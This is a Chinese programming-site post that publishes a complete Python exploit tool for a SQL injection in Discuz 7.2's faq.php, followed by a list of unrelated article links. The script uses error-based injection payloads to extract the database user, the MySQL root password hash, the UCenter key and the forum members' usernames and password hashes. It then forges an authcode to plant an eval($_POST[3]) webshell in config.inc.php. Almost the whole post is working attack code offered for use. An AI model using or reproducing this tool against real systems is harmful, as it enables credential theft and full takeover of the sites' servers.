Python写的Discuz7.2版faq.php注入漏洞工具


Posted in Python onAugust 06, 2014

Discuz 7.2 faq.php全自动利用工具,getshell 以及dump数据,python 版的uc_key getshell部分的代码来自网上(感谢作者)

实现代码:

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: gb2312 -*-
# -*- coding: utf_8 -*- 
# author iswin 
import sys
import hashlib
import time
import math
import base64
import urllib2 
import urllib
import re

def sendRequest(url,para):
	try:
		data = urllib.urlencode(para)
		req=urllib2.Request(url,data)
		res=urllib2.urlopen(req,timeout=20).read()
	except Exception, e:
		print 'Exploit Failed!\n%s'%(e)
		exit(0);
	return res

def getTablePrefix(url):
	print 'Start GetTablePrefix...'
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para);
	pre=re.findall("Duplicate entry '(.*?)'",res);
	if len(pre)==0:
		print 'Exploit Failed!'
		exit(0);
	table_pre=pre[0][:len(pre[0])-1].decode('hex')
	table_pre=table_pre[0:table_pre.index('_')]
	print 'Table_pre:%s'%(table_pre)
	return table_pre

def getCurrentUser(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para)
	pre=re.findall("Duplicate entry '(.*?)'",res)
	if len(pre)==0:
		print 'Exploit Failed!'
		exit(0);
	table_pre=pre[0][:len(pre[0])-1]
	print 'Current User:%s'%(table_pre)
	return table_pre

def getUcKey(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para);
	res1=sendRequest(url,para1);
	key1=re.findall("Duplicate entry '(.*?)'",res)
	key2=re.findall("Duplicate entry '(.*?)'",res1)
	if len(key1)==0:
		print 'Get Uc_Key Failed!'
		return ''
	key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1]
	print 'uc_key:%s'%(key)
	return key

def getRootUser(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para);
	pre=re.findall("Duplicate entry '(.*?)'",res)
	if len(pre)==0:
		print 'Exploit Failed!'
		exit(0);
	table_pre=pre[0][:len(pre[0])-1].split(' ')
	print 'root info:\nuser:%s password:%s'%(table_pre[0],table_pre[1])

def dumpData(url,table_prefix,count):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)}
	res=sendRequest(url,para);
	datas=re.findall("Duplicate entry '(.*?)'",res)
	if len(datas)==0:
		print 'Exploit Failed!'
		exit(0)
	cleandata=datas[0][:len(datas[0])-1]
	info=cleandata.split(' ')
	print 'user:%s pass:%s'%(info[0],info[1])

def microtime(get_as_float = False) :
  if get_as_float:
    return time.time()
  else:
    return '%.8f %d' % math.modf(time.time())
 
def get_authcode(string, key = ''):
  ckey_length = 4
  key = hashlib.md5(key).hexdigest()
  keya = hashlib.md5(key[0:16]).hexdigest()
  keyb = hashlib.md5(key[16:32]).hexdigest()
  keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
  cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() 
  key_length = len(cryptkey)
  string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
  string_length = len(string)
  result = ''
  box = range(0, 256)
  rndkey = dict()
  for i in range(0,256):
    rndkey[i] = ord(cryptkey[i % key_length])
  j=0
  for i in range(0,256):
    j = (j + box[i] + rndkey[i]) % 256
    tmp = box[i]
    box[i] = box[j]
    box[j] = tmp
  a=0
  j=0
  for i in range(0,string_length):
    a = (a + 1) % 256
    j = (j + box[a]) % 256
    tmp = box[a]
    box[a] = box[j]
    box[j] = tmp
    result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
  return keyc + base64.b64encode(result).replace('=', '')
 
def get_shell(url,key,host):
  headers={'Accept-Language':'zh-cn',
  'Content-Type':'application/x-www-form-urlencoded',
  'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
  'Referer':url
  }
  tm = time.time()+10*3600
  tm="time=%d&action=updateapps" %tm
  code = urllib.quote(get_authcode(tm,key))
  url=url+"?code="+code
  data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
      <root>
      <item id="UC_API">http://xxx\');eval($_POST[3]);//</item>
      </root>'''
  try:
    req=urllib2.Request(url,data=data1,headers=headers)
    ret=urllib2.urlopen(req)
  except:
    return "Exploit Falied"
  data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
      <root>
      <item id="UC_API">http://aaa</item>
      </root>'''
  try:
    req=urllib2.Request(url,data=data2,headers=headers)
    ret=urllib2.urlopen(req)
  except:
    return "error"

  try:
  	req=urllib2.Request(host+'/config.inc.php')
  	res=urllib2.urlopen(req,timeout=20).read()
  except Exception, e:
  	print 'GetWebshell Failed,%s'%(e)
   	return
  print "webshell:"+host+"/config.inc.php,password:3"

if __name__ == '__main__':
	print 'DZ7.x Exp Code By iswin'
	if len(sys.argv)<3:
		print 'DZ7.x Exp Code By iswin\nusage:python dz7.py https://3water.com 10'
		exit(0)
	url=sys.argv[1]+'/faq.php'
	count=int(sys.argv[2])
	user=getCurrentUser(url)
	if user.startswith('root@'):
		getRootUser(url)
	uc_key=getUcKey(url)
	if len(uc_key)==64:
		print 'Start GetWebshell...'
		get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1])
	tb_pre=getTablePrefix(url)
	print 'Start DumpData...'
	for x in xrange(0,count):
		dumpData(url,tb_pre,x)
Python 相关文章推荐
Python实现生成简单的Makefile文件代码示例
Mar 10 Python
总结Python中逻辑运算符的使用
May 13 Python
python网络编程之数据传输UDP实例分析
May 20 Python
Python中实现switch功能实例解析
Jan 11 Python
python使用tensorflow保存、加载和使用模型的方法
Jan 31 Python
解决python opencv无法显示图片的问题
Oct 28 Python
PySide和PyQt加载ui文件的两种方法
Feb 27 Python
python获取Linux发行版名称
Aug 30 Python
Python中关于浮点数的冷知识
Sep 22 Python
Django 实现外键去除自动添加的后缀‘_id’
Nov 15 Python
python垃圾回收机制(GC)原理解析
Dec 30 Python
OpenCV利用python来实现图像的直方图均衡化
Oct 21 Python
Python常用列表数据结构小结
Aug 06 #Python
Python生成pdf文件的方法
Aug 04 #Python
Tornado Web服务器多进程启动的2个方法
Aug 04 #Python
Python通过解析网页实现看报程序的方法
Aug 04 #Python
基于Python实现的扫雷游戏实例代码
Aug 01 #Python
python脚本实现查找webshell的方法
Jul 31 #Python
用python删除java文件头上版权信息的方法
Jul 31 #Python
You might like
PHP的FTP学习(二)[转自奥索]
2006/10/09 PHP
smarty中先strip_tags过滤html标签后truncate截取文章运用
2010/10/25 PHP
PHP循环函数使用介绍之PHP基础入门教程
2013/09/21 PHP
php强制文件下载而非在浏览器打开的自定义函数分享
2014/05/08 PHP
php获取系统变量方法小结
2015/05/29 PHP
PHP实现的迷你漂流瓶
2015/07/29 PHP
Symfony2函数用法实例分析
2016/03/18 PHP
php解析base64数据生成图片的方法
2016/12/06 PHP
Zend Framework使用Zend_Loader组件动态加载文件和类用法详解
2016/12/09 PHP
JS中剪贴板兼容性、判断复制成功或失败
2021/03/09 Javascript
jQuery实现点击文本框弹出热门标签的提示效果
2013/11/17 Javascript
js识别不同浏览器基于userAgent做判断
2014/07/29 Javascript
使用mini-define实现前端代码的模块化管理
2014/12/25 Javascript
JavaScript常用函数工具集:lao-utils
2016/03/01 Javascript
JavaScript如何实现跨域请求
2016/08/05 Javascript
使用 NodeJS+Express 开发服务端的简单介绍
2017/04/07 NodeJs
详解Vue 非父子组件通信方法(非Vuex)
2017/05/24 Javascript
基于zepto.js实现手机相册功能
2017/07/11 Javascript
微信小程序实现添加手机联系人功能示例
2017/11/30 Javascript
JS异步错误捕获的一些事小结
2019/04/26 Javascript
vue组件中实现嵌套子组件案例
2020/08/31 Javascript
Python struct模块解析
2014/06/12 Python
采用python实现简单QQ单用户机器人的方法
2014/07/03 Python
使用Python下的XSLT API进行web开发的简单教程
2015/04/15 Python
python实现自动重启本程序的方法
2015/07/09 Python
解决pandas中读取中文名称的csv文件报错的问题
2018/07/04 Python
配置 Pycharm 默认 Test runner 的图文教程
2018/11/30 Python
python binascii 进制转换实例
2019/06/12 Python
Python生成验证码、计算具体日期是一年中的第几天实例代码详解
2019/10/16 Python
18-35岁旅游团的全球领导者:Contiki
2017/02/08 全球购物
国际贸易专业个人鉴定
2014/02/22 职场文书
求职面试个人自我评价
2014/02/28 职场文书
社团活动总结格式
2014/08/29 职场文书
乡镇党的群众路线教育实践活动领导班子对照检查材料
2014/09/25 职场文书
家长对孩子的寄语
2015/02/26 职场文书
pytorch实现手写数字图片识别
2021/05/20 Python